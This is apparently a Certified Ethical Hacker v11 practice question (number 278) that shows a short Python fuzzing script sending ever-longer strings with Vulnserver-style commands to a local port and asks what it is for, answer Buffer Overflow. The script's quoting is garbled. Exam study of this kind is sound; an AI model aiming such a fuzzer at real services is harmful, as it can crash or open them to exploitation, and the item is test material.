Certified Ethical Hacker v11 312-50v11 – Question278

#!/usr/bin/python import socket buffer=[""A""] counter=50 while len(buffer)<=100:
buffer. append (""a""*counter) counter=counter+50 commands= [""HELP"", ""STATS ."",
""RTIME ."", ""LIME. "",""SRUN ."' ,""TRUN ."", ""GMON ."", ""GDOG ."",""KSTET .",
""GTER ."", ""HTER ."", ""LTER .",""KSTAN .""] for command in commands: for
buffstring in buffer: print "Exploiting" +command +"":""+str(len(buffstring))
s=socket.socket (socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 9999))
s.recv(50) s.send(command+buffstring) s.close()

What is the code written for?

A.
Denial-of-service (DOS)
B. Buffer Overflow
C. Bruteforce
D. Encryption

Correct Answer: B